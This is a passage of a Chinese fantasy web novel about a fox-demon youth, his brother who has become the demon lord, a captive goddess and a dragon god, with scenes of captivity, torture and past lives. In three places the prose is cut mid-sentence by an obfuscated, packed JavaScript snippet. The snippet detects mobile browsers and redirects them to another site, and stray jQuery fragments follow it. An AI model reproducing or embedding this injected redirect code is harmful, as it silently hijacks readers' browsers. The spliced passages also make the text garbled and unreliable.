白亦也不在意,自顾自地开口:“你那人界丈夫倒是挺有担当的,他说,今日一切都是他胁迫你做的。” 夏玲珑的脚步猛地一顿,背对着他,肩膀几不可察地颤了一下。半晌,她才极轻地喃喃了一句:“……傻子。” 那年魔界动荡,魔尊急需新鲜血液填补战力,派出去的魔使如夜鸦般四散,猎杀、引诱、强掳,手段各异,目的却相同。夏玲珑接到的命令本也如此,直到她在荒山野岭间撞见那个被师门抛弃的凡人。 他衣衫褴褛,满身是伤,却还固执地抱着一柄断剑,像是抱着最后一点可笑的尊严。她本可以一刀了结他,魔使从不在猎物身上浪费多余的时间。可那天风太冷,月色太惨白,她鬼使神差地停了手,转而当着他的面,一刀斩下了另一个修士的头颅。 鲜血喷溅在枯草上,腥气弥散。她侧过脸,想从他眼里看到恐惧、崩溃、尖叫逃窜,这才是凡人该有的反应。 可那人只是踉跄后退了两步,脸色惨白如纸,手指死死攥着那柄断剑,指节绷得发青。就在她以为他下一秒就要转身逃跑时,他却颤着声音开口:“……别杀我,我可以帮你。” 于是他们化成一对夫妻,开起了藏剑山庄。 那般胆小的一个人,却甘愿为他背下锅。 魔界的天空永远压着一层暗沉的血色,像凝固的淤血,低得仿佛随时会倾轧下来。白亦刚踏入这片地界,就感觉到无数双眼睛从阴影里窥探过来,贪婪的、阴冷的、带着血腥味的视线,如附骨之疽般黏在他身上。 夏玲珑一口气厉声喝道:“这是尊上的客人!” 空气凝滞了一瞬,那些窥视的目光才不甘心地退去,却仍像毒蛇般蛰伏在暗处,伺机而动。 他们继续往前走,四周的魔气越来越浓,阴冷黏稠得几乎能滴出水来。忽然,一股刺骨的寒意骤然升起,黑影如鬼魅般闪现,一把掐住夏玲珑的脖子,将她整个人提了起来。 戴着鬼面的男人从黑暗中出来,苍白如尸骨的下半张脸在血色天光下显得格外森冷。他的气息邪戾而暴虐,每一个字都像是从牙缝里挤出来的:“谁让你带他到这里来的?” 夏玲珑喉咙里发出窒息的咯咯声,脸色已经泛青,手指徒劳地抓挠着鬼面人的手腕,却连一丝痕迹都没留下。 白亦猛地冲上前,一把扣住鬼面人的手腕:“哥!是我要让她带我来的!” 鬼面人手指一松,夏玲珑重重摔在地上,捂着脖子剧烈咳嗽。白亦还未来得及再开口,一股巨力骤然袭来,将他狠狠震开。 白亦仰头看着眼前的人,那张鬼面森冷狰狞,遮住了所有熟悉的神情,可那声音分明还是记忆里的轮廓。 鬼面人开口:“我不是你哥。” 白珣周身翻涌成漆黑的雾,白亦却固执地向前一步:“哥,你现在清醒了,就该及时收手,而不是一错再错。” 白珣的声音冷得像淬了冰:“这不是你该呆的地方。” 白亦:“我不走,我今天就是来告诉你我把真龙逆鳞给你,不是要看着你将天地搅得生灵涂炭。” 白珣突然低笑出声,笑声里带着癫狂的意味:“为什么不能?我要将天帝的皮一寸寸扒下来——什么是错?弟弟,这世上从来就没有对错。弱肉强食才是天道,我所受的痛,要千倍万倍还回去!” 白亦望进那双疯狂的眼睛:“我只是想你活着。” 风卷起白珣的衣角,那身黑衣在血色天幕下快要融于一体。白亦恍惚想起,白珣从前最爱穿白衣,站在雪地里像一株不染尘埃的玉树。如今在这暗无天日的魔界,连最后一点颜色都被吞没了。 “回去吧。” 锵然一声剑鸣,白亦手中长剑出鞘,他声音发颤:“我不走!白珣,你若执意如此,就把真龙逆鳞还给我。我不会成为你祸害苍生的帮凶。” 白珣背影一顿,忽然低低地笑起来:“帮凶?” 他侧过脸,半边面容隐在阴影里:“你忘了么,我早就和你们没关系了。回去当你的狐族少主吧,不会有人知道......” 白亦的眼眶倏地红了,像是浸了血,手中的长剑寒光一闪,已然抵在自己颈间。剑刃压着跳动的脉搏,只要再深一寸就能割断生机。 “你若执意如此,”白亦声音带着孤注一掷的决绝,“逆鳞是我亲手给你的……你若不肯回头,我就当着那些无辜亡魂的面,以死谢罪。” 白珣的瞳孔猛地收缩,鬼面下的表情终于出现裂痕。他下意识上前半步又硬生生止住,声音里带着久违的柔软:“你这是何苦,你还只是个孩子,没人会怪一个孩子的。” 没人会苛责一个孩子,更没人会要一个孩子为天下苍生负责。 白亦的回应是手腕一沉,锋利的剑刃立刻在白皙的脖颈上压出一道血线。他仰着脸,眼角泛红,委屈得像是被抛弃的小兽,可眼神却固执得可怕。 白珣呼吸一滞,几乎是条件反射地伸出手妥协:“好,我答应你,别伤害自己。” 剑尖微微松动的一瞬,白珣的身影已然化作残影。冰凉的掌心贴上后颈,禁锢的法力如潮水般涌来。白亦就感觉意识被温柔又强势地拖入黑暗。在彻底陷入昏睡前,他恍惚听见白珣低哑的叹息:“抱歉,就算是你,也不能成为我的阻碍。” 白珣接住软倒的身躯,他低头看着怀中人沉静的睡颜,指尖拂过白亦颈侧的血痕。 白珣的目光如淬了冰的刀锋,一寸寸刮过跪伏在地的夏玲珑。魔界的血色天光映在他苍白的下半张脸上,勾勒出一道近乎残忍的弧度。 “你已经暴露了身份,没有价值的魔使,本就不该活着,更何况,你还知道得太多。” 夏玲珑怎么也没想到,魔界新任的尊上,竟是狐谷那位传闻中早已陨落的大公子,冷汗顺着额角滑落,她突然抬头,语速极快:“尊上,属下还有用,您弟弟与真龙上神关系匪浅,若以他为饵,必能引龙霖入局!一举击杀。” “你说什么?” * 白亦睁开眼时,最先感受到的是后颈残留的钝痛。冰冷的玄铁栅栏贴着脸颊,四周昏暗潮湿的空气里弥漫着腐朽的血腥味。他撑起身子,铁链碰撞声惊动了看守的魔兽,那些丑陋的生物睁开猩红的眼,獠牙间滴落粘稠的涎水。 抬头时,他瞳孔骤然收缩。不远处的另一座牢笼里,静竹公主正盘膝而坐,素白的衣裙沾满血污,却仍保持着天族特有的端肃姿态。 “你怎么在这里?”铁链随着他的动作哗啦作响。 静竹缓缓睁眼:“你也是被那魔头抓来的?”她的声音沙哑,像是许久未进水米。 白亦开口询问:“抓你来的人是谁?” 静竹说自己与龙霖他们分头调查下界女子失踪案,发现所有受害者都是阴时出生的女妖。于是她伪装成祭品。 “那鬼面魔物修为深不可测,不仅识破我的伪装,还打伤了我。” 静竹突然抬眼时带着几分玩味,她拢了拢散乱的鬓发:“狐狸精,自从天庭一别,你就总用这种眼神看我,放心,我不会跟你抢龙霖。” 白亦眉头微蹙:“我不是在乎这种事。” “那你在意什么?”静竹明明身处牢笼,却依然保持着神女特有的矜贵姿态。 白亦定定看着她:“你飞升为神女时,那场情劫可还记得?” “早忘了。神仙度完劫,自然要饮月下仙人的忘情水。” “难怪。” 静竹眼中闪过一丝警觉:“你怎么知道我飞升时度的是情劫?” 神仙若修为不够,总要历劫。不过劫数万千,七情六欲皆可为劫,被困在凡人身躯里,尝尽生老病死,爱别离,怨憎会。 牢笼里突然安静得可怕。静竹认真打量起这白亦:“狐狸精,你知道吗?你真的很不擅长说谎。你的喜怒哀乐,全都写在脸上。我始终想不通,龙霖活了上万年,怎么会为你这样的......” “你自然不会懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629735|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 静竹:“我做了什么,值得你这般讨厌。” 白亦偏过头去。 牢笼里的光阴被拉得漫长,三日过去,竟有人给白亦送来热腾腾的食物、柔软的锦被,甚至还有几册人间最新的话本。他攥着铁栏一遍遍喊“放我出去”,声音都快喊哑了,却只换来牢外魔兽不耐烦的低吼。 魔界的食物带着股腥气,根本不是妖族的胃口能消受的。白亦啃着鸡腿时,静竹忽然轻笑:“狐狸精,这魔头该不会是你家亲戚?她送吃送喝还怕你冷着。” 话音未落,就见白亦的耳朵尖可疑地抖了抖。 “你们果然认识。”静竹眼底闪过一丝锐光。 白亦猛地背过身,后颈绷出一道倔强的弧线。 静竹从前最厌恶妖族,觉得他们肮脏又狡诈。可眼前这只把心事全写在脸上的小狐狸,却让她讨厌不起来。 第四日有鬼面下属拖着锁链进来,镣铐扣住静竹将她带了出去。 两个时辰后,静竹被带回来,她雪白的衣袍浸满血迹,发间金钗不知去向,整个人软绵绵地垂着头。 “你们对她做了什么?” 夏玲珑甩了甩藤鞭:“少谷主还是先操心自己吧。等您的住处收拾妥当,这种碍眼的仙族......” 她轻蔑地踢了踢静竹垂落的手:“死了也是活该。” 等夏玲珑的脚步声彻底消失在甬道尽头,白亦立刻扑到笼边:“静竹!静竹!你醒醒!” 静竹的手指微微动了动,沾血的睫毛轻颤,她艰难地支起身子,每寸骨骼都像被碾碎重组:“还没死呢。” 白亦的目光落在她伤口渗出的黑色血迹上,那是夏玲珑藤鞭上的剧毒,连龙霖那样的真神都无法自愈的阴毒。 静竹抬手抹去嘴角血渍:“他们想让我当诱饵。助这群卑贱魔族打上天界?痴人说梦。” 静竹忽然恍惚了一瞬。她想起行刑时那个戴鬼面的男子突然背过身去的背影,想起那双猩红眼睛里一闪而过的......像是痛楚的东西。奇怪的是,当鞭子落下时,她心口竟比伤口更疼。 “狐狸精,不管你现在多讨厌我,我们都得合力出去。” 白亦说:“你有办法?” 夏玲珑正倚在牢门外的石壁上,藤鞭缠绕在腕间,突然听见囚笼里传来静竹急促的呼喊声:“来人!白亦吐血了。他不行了!” 那声音里带着真实的惊慌。 夏玲珑想起魔尊大人对白亦这几日若有似无的关照,立刻旋身冲进牢内,她看见白亦蜷缩在角落,指缝间渗出刺目的鲜红,唇角挂着未干的血迹,整个人像是被抽走了精气神般虚弱。 夏玲珑三步并作两步进入笼子,指尖刚要搭上白亦的脉搏,却见那双原本涣散的眼睛骤然清明,少年苍白的手指如铁钳般扣住她的咽喉,另一只手精准抵住她的命门。 “带我们离开。”白亦掌心灵力吞吐,只要稍一用力就能震碎她的心脉。 夏玲珑瞳孔骤缩:“......少谷主这是做什么?” 白亦没有理会她的质问,手上力道又重了三分:“少废话。” 夏玲珑替静竹解开禁制。 夏玲珑带着他们穿过幽暗的甬道,潮湿的岩壁上凝结着血珠般的水滴。就在转角处,一道黑影倏然降临,白珣鬼面下的眼睛死死锁住静竹。 魔气暴起的瞬间,静竹的仙剑刚出鞘就被震碎。她步步后退,绣着云纹的靴底在血污中打滑,直到后背撞上嶙峋的石壁。白珣的手掐住她脖颈时,白亦看见她瞳孔骤然扩散,唇色以肉眼可见的速度褪成惨白。 可那只手最终还是松开了。 静竹像断线的木偶滑落在地,喉间浮现出青紫的指痕,仍旧强撑着半跪在地。白珣蹲下身,鬼面几乎贴到她脸上,他的声音带着扭曲的快意:“高高在上的神女也会像丧家犬一样趴在这里?” “休想……让我帮魔族……为祸……” 魔气突然如毒蛇般钻入她七窍,静竹整个人弓起身子,指甲在石地上刮出刺耳的声响。白亦刚要冲过去,就被夏玲珑反手扣住手腕。 白珣转头看他时,眼底翻涌着某种近乎痛苦的情绪:“为什么护着神仙来对付我?” “哥,你真的能对她下手?” 鬼面下的呼吸突然凝滞。白珣一把拽过白亦,力道大得几乎捏碎他腕骨:“你知道什么?” 被拖进侧殿时,白亦踉跄着撞上青铜灯架。摇曳的火光里,他看见他哥摘下的鬼面上沾着未干的血迹。 “我去过九重天,在一棵树下看到过你们的记忆。” 白珣的手突然掐住他肩膀,魔气不受控制地溢出,将四周烛火都染成血色:“那段耻辱的记忆早就忘了,你为了我委身那条龙,哥哥会让他们百倍偿还。” “你要做什么?”白亦突然感到恐惧。他看见白珣眼底疯狂滋长的黑雾,那里面裹挟着足以撕裂天地的恨意。 白珣抚过他额角的碎发,动作温柔得令人毛骨悚然:“我要让九重天,不得安宁。” 23.诱饵 随着白珣话音刚落,白亦的声音已经斩钉截铁砸下来:“不行。” 白珣说:“为什么?” 白亦没接话,在他沉默的间隙里,白珣开口说:“你既然知道那段记忆了,就该看见他们怎么把我逼着跳下瀛洲崖的。” 白珣的话冰凉刺骨:“仙界那帮道貌岸然的畜生,说什么讲天道伦常,不过是一群道貌岸然的伪君子。” 白珣声音轻得近乎温柔:“阿亦,你是我亲弟弟,你应该和我站在一起。” 白珣本该恨的。 若不是仙界那些人,他不会被打入魔界,不会眼睁睁看着自己一寸寸被魔气浸染,骨血里爬满污浊的黑痕,像腐朽的树根般在皮肤下蔓延。 他曾经是狐谷最矜贵的大公子,白衣胜雪,眉目如画,可如今眼角、额头都爬满了狰狞的黑纹,苍白的底色衬着那些扭曲的脉络,活像从地狱里爬出来的恶鬼。 白珣刚开始化魔的时候,几乎能听见魔气在血管里流动的声音,黏稠、阴冷,一点点蚕食他残存的理智。 他差一点就彻底沦为没有神智的魔物,只知杀戮,不知悲喜。 后来他成了魔尊,驱使魔尊在这片荒芜死寂的土地上建起宫殿。 可这里曾经是什么样子,尸骨堆积如山,魔物在暗处嘶吼,天地间除了血腥气,什么活气都没有。 白亦的视线落在白珣脸上时,他几乎是本能地侧过脸,手指死死扣住面具的边缘,迅速将它重新戴上。鬼面贴上皮肉,遮住了那些丑陋的痕迹,也遮住了他那一瞬间近乎狼狈的仓皇。 白亦像是小时候拽着哥哥的袖口,眼巴巴央求他替自己摘那颗挂在最高处的果子,带着点几不可闻的哽咽:“哥,别动龙霖......他是个好神仙。” 白珣的手指在他掌心里僵了僵。 龙霖确实不一样,从没因他是妖而露出半分嫌恶,甚至当初在云邃上仙座下时,白亦也未受到传闻中那般施以惩戒。 “你被他蛊惑了。“白珣冷笑,眼底浮起一层阴郁的暗色,“神仙骨子里都是骗子。” 白亦摇头,想起他即便被取了逆鳞,暴怒之下也没真对他做什么,后来知晓真相,也不过是冷着他几日。 “他真的从来没......没想过伤我。” 他怎么会不知道?龙霖根本不需要浸泡那样多的灵药的浴池,只有因为犯下杀孽受到反噬的他。 白珣眼底的寒意骤然凝结。 他与仙界有着血海深仇,又怎么可能容忍白亦说出这样的话:“阿亦,你还是太小了,那条龙活了多少年岁?神仙的心机,深得能把你吞得骨头都不剩。” 白亦眼眶发红:“不是的!” 可白珣已经不想再听。 他转身时袖袍翻卷,带起的风凌厉如刀,将白亦伸出的手狠狠隔开。法术凝成的屏障骤然升起,白亦撞上去的瞬间,灵力震得他手腕发麻。 他拼命捶打那无形的壁障,声音几乎嘶哑:“哥!放我出去。” 回应他的只有渐行渐远的脚步声。 最终白亦颓然跪坐在地。阵法流转的微光映在他脸上,将他的影子拉得很长,孤零零地投在冰冷的地面上。 白亦被关在殿里整整三日。 每日都有人送来吃食,不是魔界常见的血食或浊酒,而是新鲜的灵果、温热的甜羹,甚至还有几样人间才有的点心,白珣不知派了多少人出去寻,才凑齐这些。 可白亦一口都没动。 他躺在榻上,背对着门,听见熟悉的脚步声靠近时,睫毛颤了颤,却固执地闭着眼不肯睁开。 床榻微微下陷,白珣坐在他身旁,指尖轻轻拨开他额前散乱的碎发,语气无奈又纵容:“怎么还跟小时候一样,一赌气就不肯吃饭?” 食盒被打开,甜腻的香气飘出来,是桂花糖糕的味道。 白珣的手掌落在他发顶,力道很轻地揉了揉,像许多年前哄那个因为摔了玩具而哭闹的幼弟:“起来吃点,嗯?下巴都尖了。” 白亦鼻尖一酸。 这几日他确实憔悴了不少,眼下泛着淡淡的青,唇色也苍白。 从前白珣都是这样,无论白亦想要什么,无论他闹得多过分,最后妥协的总是哥哥。 小时候是一串糖葫芦,一块糖糕,后来是纵容他偷偷离开狐谷,如今连囚禁他都要惦记着他爱吃什么。 白珣的指尖擦过他眼角,沾到一点湿意,叹了口气:“......傻孩子。” 他们的父母早逝,是白珣将白亦一手带大,从他是个狐狸崽开始,从蓬松的尾巴尖还够不到兄长膝头开始。 很小的时候,白亦没有安全感,白亦生来没有母狐守护。 狐狸崽蜷着蓬松的尾巴,爪子勾住白珣的衣襟,总要贴着兄长的体温才能闭眼,任谁来哄都扒着不放,湿漉漉的鼻尖蹭得白珣衣领一片潮热。 偶尔惊梦,幼崽的耳朵会猛地一抖,喉咙里滚出几声不安的呜咽。白珣便伸手捏住他后颈,指腹不轻不重地揉两下,直到那炸开的绒毛重新服帖下去。 白亦眼底的哀求:“我会告诉龙霖你身在此处的苦衷的,哥哥,不要再这样下去了好不好?” 白珣像当年哄睡幼崽时轻拍他的肩膀:“你喜欢他?” “……喜欢,他真的对我很好。” “妖跟仙,你觉得可能吗?” 白珣眼中嘲讽如刀,白亦说:“他说过可以为了我不做神仙了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657254|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白珣看着白亦想,他可怜的弟弟,竟然相信神仙学那些愚痴凡物赌咒发誓。 白亦说:“我们都没有放弃你,当初我为了真龙逆鳞,老祖知道我是去做什么,但他并未拦着我。” 他的胸口,那里藏着一块与白珣相连的命印,在皮肉之下无声跳动,像一根斩不断的线。 当初白珣离开狐谷时三年之际,这印记稍一碰就疼得发颤。 白珣出事那日,白亦正在隔壁山头和虎妖打架。 他刚把对方按进泥里,忽然心口一悸,仿佛有人攥着他的命脉狠狠一扯。少年狐妖猛地抬头,连身上的泥都来不及擦就往回跑,靴底碾碎一路山花。 狐谷的黄昏静得可怕。老祖站在殿前,身后是垂首的长老们,他们的目光带着晦涩,一寸寸刮过白亦。 “你哥哥死在了瀛洲。”老祖的声音苍老又缓慢,“从此狐谷没有白珣这个人。” 白亦死死按住胸口:“不是的……他还活着,我能感觉到!” 没人回答他。 他眼睁睁看着侍从搬走白珣的玉简、佩剑、衣袍,最后连名册上的金墨都被硬生生刮去。 火盆里的灰烬腾起时,白亦突然想起离谷那日,白珣揉着他发顶说“回来教你新术法”。 后来白亦花了一年时间,从各方拼凑出白珣的踪迹。 他找到一只目睹一切的精怪,那精怪说起那日众仙围剿,白珣浑身是血退到瀛洲崖边,身后是万丈深渊,那里是魔界上任魔尊打出一道入口,向来只入无返,历代魔尊撕开的上界裂缝早被层层封印,坠下去的人,从没有能回来的。 白珣像是拖着说:“你喜欢的人,我不会伤他。” 白亦死死抱住他,手指攥紧兄长背后的衣料:“哥,太好了,那我出去吗?老祖和龙霖一定都在找我。” 白珣没动,任由他抱着,掌心却无声覆上弟弟的后颈,像小时候哄他睡觉那样轻轻摩挲:“我是为你好,这里很危险,等过些日子我就送你出去。” 白亦乖乖吃完了饭。 白珣看着他咽下最后一口,转身走出房门时,掌心浮出一颗莹白的浮灵珠,这是父母留给弟弟的出生礼,在白亦化形那日就交到他手里。 珠子在他指间缓缓转动,映出冷冽的光。白珣低声自语:“用此物……能引来那条真龙吗?” 夏玲珑想起那日身处荒渊,真龙上神看向白亦的眼神,那双透着鎏金色的瞳孔里透着温柔宠溺。 传闻真龙上神从来不是什么慈悲的神明,当初北海叛乱,他袖口沾的血能染红半片海域,在往生河指间碾碎的魔界魂魄数不胜数,可就是对一只狐妖无限包容。 夏玲珑她听见自己说:“会。” 24.往事 魔界的天光永远泛着暗红色,几百年来第一次,他是第一次真切地想要感受人间界飘来的风里带着的草木腥气,只要白珣点头,他心想这次总该能走了吧。 “阿亦,”白珣用这种被魔气浸得低哑的嗓音唤他,像用钝刀磨一块温玉,“你留下来多陪陪哥哥不行吗?” 白亦其实清楚,这一走,少说也得很长一段时日见不着面。 他犹豫了一下,还是开口问:“静竹的事,你打算怎么处理?” 白珣抬眼看他,声音透着某种阴冷的嘲笑:“你觉得呢?该放了她?” 白亦语气硬邦邦的:“不知道。” 当初在瀛洲崖边,静竹下手又快又狠,匕首捅进白珣心口的时候连眼睛都没眨一下。 白珣的手按在白亦头顶,揉了揉:“狐族还等着你回去当谷主,这些破事用不着你操心。” 白亦瞥见白珣袖口下露出的魔气浸染的痕迹。 要是白珣没遇见静竹就好了,白亦突然冒出这个念头,随即又觉得可笑。现在想这些有什么用?静竹如今还关在地牢里,有些账,永远算不清。 魔界终日昏暗的天幕下,魔族们正搬运着巨大的石块,那些石块表面浮动着血色纹路,像是活物般随着呼吸起伏。 狰狞的魔兽被铁链穿透脊骨,白珣禁止它们互相撕咬,这些扭曲的生物如今都成了最听话的傀儡。 白亦得到小范围的自由,在魔宫长廊间穿行,他见过戴着鬼面的侍女,也遇到过下半身是蛇的守卫。 直到某天深夜,他梦见龙霖站在往生河畔,那双瞳孔隐隐透着鎏金色,焦急地问他究竟去了哪里。 白亦惊醒。 魔界根本没有昼夜之分,只有永远飘散着腥臭味的血色雾气,他必须得离开。 就在他盘算着离开时,一日一声清越龙吟突然撕裂了魔界的死寂。 白亦猛地站起身,龙霖怎么会找到这里?他冲向殿门,却被突然出现的夏玲珑拦住。 指尖缠绕着猩红藤蔓,她笑容艳丽得像淬了毒的花。 “龙霖怎么会来这里?九重天的人打来了吗?” 夏玲珑把玩着藤编:“尊主只是借了样少谷主的东西请真龙上神到魔界一叙。” 白亦一摸腰间,浮灵珠不见了,他瞳孔骤缩,剑光出鞘时在暗处划出雪亮弧线直指面前之人。 夏玲珑手中的藤蔓瞬间暴涨,与此同时退三步:“少谷主何必如此,等尊主一统三界,您的身份也不是跟着水涨船高,真龙是天界放在往生河的守护神,魔族想要出去,杀死他是一定的事。” “等尊主抽了他的龙筋破开往生河封印,少谷主就是三界最尊贵的......” 剑锋割裂空气的尖啸打断了她的话,白亦握剑的手青筋暴起。 白亦只觉得一股寒意从脊背窜上来,白珣骗了他。那日在魔宫,他哥明明说过不会动龙霖。 “放我出去。” 夏玲珑手中的藤鞭窜起黑雾,那些雾气像活物般缠绕上她的手腕。 “少谷主,”她红唇勾起个讥诮的弧度,“魔界的结界压着你三成灵力,真当自己还能发挥出十成功力?” 剑光劈开黑雾时带起刺耳的裂帛声。 白亦的招式又快又狠,却每次都被那根诡异的藤鞭精准截住。三十招过后,夏玲珑的鞭梢突然穿透防御,重重抽在他胸口,他分明看见那女人在最后关头收了三成力。 踉跄着后退时,白亦摸到腰间那包药粉。 这是上次龙霖塞给他的,这是迷药,可使人快速乏力,说是能放倒一头千年妖兽。药粉扬出去的瞬间,夏玲珑的冷笑还凝在嘴角,下一秒就变成了剧烈的呛咳。 白亦的剑锋在夏玲珑失神的刹那直刺而入,她闷哼一声跪倒在地,而后他迅速划开一道传送法阵,踏出殿门的瞬间,腥风扑面而来。 远处天际,白珣立于巨蛇魔兽之首,黑袍在魔气中翻涌如活物。而对面凌空而立的龙霖周身泛着淡金神光,在晦暗魔界中显得格格不入。 两人的视线同时投来。 白珣唇角勾起冰冷的弧度,抬手间数头魔兽与鬼面魔使已拦在白亦身前。 “既然来了,”白珣开口,“上神不妨永远留下来。” 龙霖的目光始终锁在白亦身上,却在感知到白珣身上气息时瞳孔骤缩,那是他的逆鳞,本该由白亦贴身收着的龙族至宝。 杀意瞬间暴涨,金色竖瞳里翻涌起暴戾的暗潮。 白珣将弟弟惊慌的神色尽收眼底,指节捏得发白。 他太清楚这些所谓神仙的把戏,用温柔假面诱骗涉世未深的狐族少年,白珣眼底血色渐浓,既然这条龙能让白亦露出这种表情,那就必须死在魔界。 魔界的天空被龙威撕裂,金色的光芒与漆黑的魔气在半空中激烈碰撞。 有修为不高的魔使被气浪掀得后退数步,龙霖的龙形虚影盘踞天际,而白珣周身的魔纹如同活物般扭曲蠕动,所过之处连空间都在震颤。 白亦刚想冲上前,却被魔使死死拦住,他眼神一冷,突然调转方向,地牢的守卫还没反应过来,咽喉就已经被剑锋割开。 静竹蜷缩在牢笼角落,见到白亦时一愣,下一刻就是剑刃斩断玄铁的脆响。 一柄剑被扔到了静竹面前。 两人背靠背站在甬道里,四周传来魔物逼近的窸窣声。 静竹声音嘶哑:“狐狸精,不管你讨不讨厌我,我都得说,你哥要是出了魔界,三界都得给他陪葬。” “要不是你们,何至于……”白亦的话戛然而止。 借着幽暗的光,他看见静竹额角蔓延的黑丝,像蛛网般爬过她苍白的皮肤,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686531|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦狐疑地开口问道:“你怎么了?” 静竹别过脸,声音里带着别扭和难堪的怒意:“你哥这个疯子……想拉我一起堕魔。” 白亦啊了一下。 静竹无意识地跳过嘴唇,那里似乎还残留着魔血的灼烧感,白珣掐着她的下巴灌下魔血时,那双猩红的眼睛里翻涌着她看不懂的情绪,既像恨极了,又像在透过她看别的什么人。 “我跟你哥……是不是以前认识?” 破空声打断了她的问话。 魔使的利爪直掏他们两人心口,白亦侧身闪避时,被藏在腰间的荷包已然下一刻就被勾扯出来撕得粉碎。 里面封存的记忆碎片像萤火般炸开,下一秒全都钻进了静竹眉心。 那段记忆其实也没什么了不起的。 静竹下凡渡劫时,是瀛洲城主的掌上明珠。 瀛洲城依山傍海,灵气浓郁。 白珣那时刚拜入昆山剑宗,整日在后山练剑。那日随师兄们下山采买,正赶上城主为爱女比武招亲。 茶楼二层,师兄弟们挤在栏杆边起哄,说城主千金真是天仙般的人物。 白珣握着茶盏没动,目光却穿过喧嚣人群,看见高台上静竹一身素白华服坐在高台上,眉眼清冷得像昆山巅的雪。 瀛洲城主将镶玉的金冠戴在女儿发间,又给女儿系上招亲的红绸,他当然疼这个独女,可满城子民并不允许一个女子任城主,比武招亲的告示贴满城门。 白珣在茶楼雅间转着空茶杯。 而这边茶楼说书人正绘声绘色讲城主千金三岁引凤,五岁通剑的轶事,满堂喝彩声。 擂台中央,那个满身横肉的壮汉正踩着最后一个对手的脊背,鲜血顺着他的铁护腕往下滴。 白珣的茶杯在指间转了个圈,师兄凑过来压低声音:“那是瀛洲城的守将,仗着天生神力没少干缺德事,听说他后院抬出去的女人,手脚都是断的。” 高台上的静竹连睫毛都没颤一下,她端坐在鎏金椅里,雪白的衣摆纹丝不动,仿佛底下不是在比武招亲,而是在演一场无关紧要的戏。 她好像超脱于面前的一切,嫁的就算是屠夫走贩也无所谓。 楼下传来守将嚣张的大笑,他那大汉正扯着获胜的红绸往台上爬。 白珣看着擂台上那个满脸横肉的壮汉,他要碰到静竹的一片衣角时,茶盏在手里转了三圈,白珣终于扯下半幅衣袖蒙住脸,纵身跃下茶楼。 白珣一脚踹得极狠,壮汉两百斤的身子直接飞出了擂台,台下爆发出惊呼,无人看到高台上的女子眼中出现一抹错愕, 后来白珣才明白,这场比武招亲从头到尾都是静竹布的局。她需要个足够强大的获胜者,且是她刻意安排的傀儡,好让全城长老心甘情愿把城主印交到她手里。 是白珣毁了她的计划。 25.坠落(哥嫂) 昆山剑派的弟子们绷着脸站在人群边缘,手按在剑柄上又松开。他们这次下山本就是为了避人耳目,师门再三叮嘱不可节外生枝。 可白珣就这么冲出去了,连个商量的余地都没留。 白珣蒙着半张脸,只露出一双冷冽的眼睛,身形修长挺拔,往那儿一站,就硬生生把守将那股跋扈气给压下去三分。周围的老百姓早就退开几步,只敢抻着脖子看。 围观的人看着静竹自然是同情的,可谁也不敢上前,那守将前面皆是手下败将。 有人小声嘀咕,说这蒙面人什么来头,旁边的人摇头,可眼神却忍不住往白珣身上瞟,那身姿,那气势,怎么看都不像是寻常江湖客。 那守将摔下擂台时砸起一片尘土,他满脸涨红,额角青筋暴起,活像头被激怒的蛮牛,抄起刀就要再冲上去拼命,瀛洲城城主一抬手,侍卫们立刻横戟拦住了他。 城主的目光在白珣身上停了停,这年轻人长身玉立,哪怕只是安静站着,也自有一股清峻气度,比那粗鲁蛮横的守将不知顺眼多少倍。 静竹公主原本意兴阑珊地倚在座上,此时却微微直起身,眼底浮起一丝玩味。 她打量着白珣——他眉目如画却神色疏淡,明明赢了比试,却看不出半点得意,反倒像在思索如何脱身。 “你想要做我的夫婿吗?”静竹嗓音清凌凌的。 白珣明显僵了一瞬:“我……我不想的。” 静竹单手支着下巴,指尖轻轻点着脸颊,目光一瞬不瞬地落在白珣身上。 瀛洲城主沉着脸,语气里半是劝说半是施压,可白珣始终垂着眼,问他为何登台,他只低声说了句:“……我只是不忍……” 静竹忽然起身走下高台,绣着金线的裙摆扫过台阶。她伸手就要去扯白珣的蒙面布,动作又快又刁钻,可白珣侧身一让,那截雪白的布料从她指尖滑过。 “抱歉。” 白珣丢下这两个字,转身就走,背影清瘦挺拔,转眼就消失在人群里。 后来瀛洲城里渐渐传出流言,说城主女儿对那个蒙面剑客念念不忘,从此再不肯议亲。 白珣听到消息时正擦拭着佩剑,手指在剑刃上顿了顿,他过意不去,觉得是自己耽误了静竹的终身,一路疾行至瀛洲城时,夜色已深。 他翻过城主府高墙,却在推开静竹房门时迎面撞上一道寒光,剑锋擦着他颈侧划过,削断几缕发丝。 